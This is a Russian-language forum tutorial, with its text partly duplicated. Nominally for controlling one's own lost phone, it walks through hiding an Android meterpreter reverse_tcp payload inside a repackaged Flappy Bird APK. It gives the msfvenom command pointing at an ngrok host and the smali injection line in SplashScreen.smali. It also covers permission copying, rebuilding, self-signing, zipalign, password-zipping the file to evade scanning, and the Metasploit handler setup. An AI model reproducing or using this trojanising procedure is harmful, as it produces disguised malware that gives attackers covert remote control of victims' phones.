Всем доброго времени суток. В этой статье я расскажу про то, как можно удаленно управлять своим телефоном, если вы вдруг его потеряете, или у вас его украдут. Путь не легкий, но эффективный. Прошу, не используйте это в корыстных и незаконных целях.
Меньше слов больше дела, переходим сразу к практике.
Для реализации задуманного необходим следующий софт:
Начнем с скачивания приложения (.apk), в которое поместим backdoor. Например:
Для удобства дам ему короткое имя:
запускаем ngrok: (про установку и использования читайте в гугле. информации много )
получаем от него lhost и lport. Чтоб вы понимали, все, что будет попадать на этот хост по этому порту, будет отправляться нам на localhost 4444 (окно не закрываете. ngrok должен работать. в данном примере сессия одноразовая, но это совсем не проблема)
Запускаем msfvenom для создания пейлоада командой:
теперь у меня есть файлик payload.apk по пути /home/kali/injection_apk/
сюда же помещаю приложение которое скачали с сайта (flappy.apk). вот как выглядит проект на данный момент:
Далее необходимо "разархивировать" .apk файлы. делается это командами:
получили 2 папки, с которыми будем работать.
Нам нужна папка metasploit (и все что внутри) по пути /injection_apk/payload/smali/com/
копируем и вставляем в папку flappy по пути /injection_apk/flappy/smali/com/
далее идем по пути /injection_apk/flappy/smali/com/dotgears/flappy/ и открываем файл SplashScreen.smali
нам необходимо выполнить инициализацию пейлоада, для этого вставляем строчку
не забываете сохранить.
Теперь необходимо, чтобы наше приложение запросило необходимые разрешения при установке (для всего функционала meterpreter)
заходим в папку payload и копируем необходимые разрешения из файла AndroidManifest.xml
далее заходим в /injection_apk/flappy/ и находим там идентичный файл AndroidManifest.xml
и поправляем его разрешения удалив 3 строчки
и на их место вставляем наши, скопированные ранее разрешения из файла AndroidManifest.xml в папке payload
не забываете сохранить.
теперь необходимо перекомпилировать flappy использую всю ту же apktool
и в папке /injection_apk/flappy/dist/ получаем уже почти готовый flappy.apk
переходим к созданию файла подписей key.kyestore
это очень интересная тема, которой стоит заинтересоваться...
для генерирования файла нам понадобится keytool
в папке /injection_apk/ получаем файл key.keystore
теперь сертифицируем наш flappy.apk (находящийся в расположении /injection_apk/flappy/dist/ ) утилитой jarsigner
выводом будет много текста в сообщением об удачной регистрации, о рисках безопасности и так далее.... :
теперь нужно немножко выровнять наш проект и получит готовый продукт:
тоже куча текста и в конце должно быть Verification successful
в папке /injection_apk/ появился конечный продукт с именем flappy_v.apk
предлагаю, перед его доставкой на СВОЙ телефон, зашифровать командой
далее я напишу всем известные команды:
доставил на СВОЙ телефон файлик
и получил сессию meterpreter
из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.
сессия метерпретер устойчивая и не разорвется пока вы не выключите ngrok.
Меньше слов больше дела, переходим сразу к практике.
Для реализации задуманного необходим следующий софт:
- Kali linux
- ngrok
- Apktool
- Metasploit Framework
- Jarsigner
- key.keystore файл (это подписи, генерим с keytool)
- Zipalign
- Android 10 (ну или старее)
Начнем с скачивания приложения (.apk), в которое поместим backdoor. Например:
Ссылка скрыта от гостей
Для удобства дам ему короткое имя:
запускаем ngrok: (про установку и использования читайте в гугле. информации много )
Код:
./ngrok tcp 4444
получаем от него lhost и lport. Чтоб вы понимали, все, что будет попадать на этот хост по этому порту, будет отправляться нам на localhost 4444 (окно не закрываете. ngrok должен работать. в данном примере сессия одноразовая, но это совсем не проблема)
Запускаем msfvenom для создания пейлоада командой:
Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14797 M> /home/kali/payload.apk
теперь у меня есть файлик payload.apk по пути /home/kali/injection_apk/
сюда же помещаю приложение которое скачали с сайта (flappy.apk). вот как выглядит проект на данный момент:
Далее необходимо "
Код:
apktool d flappy.apk
apktool d payload.apk
получили 2 папки, с которыми будем работать.
Нам нужна папка metasploit (и все что внутри) по пути /injection_apk/payload/smali/com/
копируем и вставляем в папку flappy по пути /injection_apk/flappy/smali/com/
далее идем по пути /injection_apk/flappy/smali/com/dotgears/flappy/ и открываем файл SplashScreen.smali
нам необходимо выполнить инициализацию пейлоада, для этого вставляем строчку
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
как на скрине ниже:не забываете сохранить.
Теперь необходимо, чтобы наше приложение запросило необходимые разрешения при установке (для всего функционала meterpreter)
заходим в папку payload и копируем необходимые разрешения из файла AndroidManifest.xml
далее заходим в /injection_apk/flappy/ и находим там идентичный файл AndroidManifest.xml
и поправляем его разрешения удалив 3 строчки
и на их место вставляем наши, скопированные ранее разрешения из файла AndroidManifest.xml в папке payload
не забываете сохранить.
теперь необходимо перекомпилировать flappy использую всю ту же apktool
Код:
apktool b flappy
и в папке /injection_apk/flappy/dist/ получаем уже почти готовый flappy.apk
переходим к созданию файла подписей key.kyestore
это очень интересная тема, которой стоит заинтересоваться...
для генерирования файла нам понадобится keytool
Код:
keytool -genkey -V -keystore /home/kali/injection_apk/key.keystore -alias alexis -keyalg RSA -keysize 2048 -validity 1000
в папке /injection_apk/ получаем файл key.keystore
теперь сертифицируем наш flappy.apk (находящийся в расположении /injection_apk/flappy/dist/ ) утилитой jarsigner
Код:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /home/kali/injection_apk/key.keystore /home/kali/injection_apk/flappy/dist/flappy.apk alexis
теперь нужно немножко выровнять наш проект и получит готовый продукт:
zipalign -v 4 /home/kali/injection_apk/flappy/dist/flappy.apk flappy_v.apk
тоже куча текста и в конце должно быть Verification successful
в папке /injection_apk/ появился конечный продукт с именем flappy_v.apk
предлагаю, перед его доставкой на СВОЙ телефон, зашифровать командой
Код:
zip --password codeby flappySec.zip flappy_v.apk
далее я напишу всем известные команды:
Код:
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost localhost
set lport 4444
доставил на СВОЙ телефон файлик
и получил сессию meterpreter
из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.
сессия метерпретер устойчивая и не разорвется пока вы не выключите ngrok.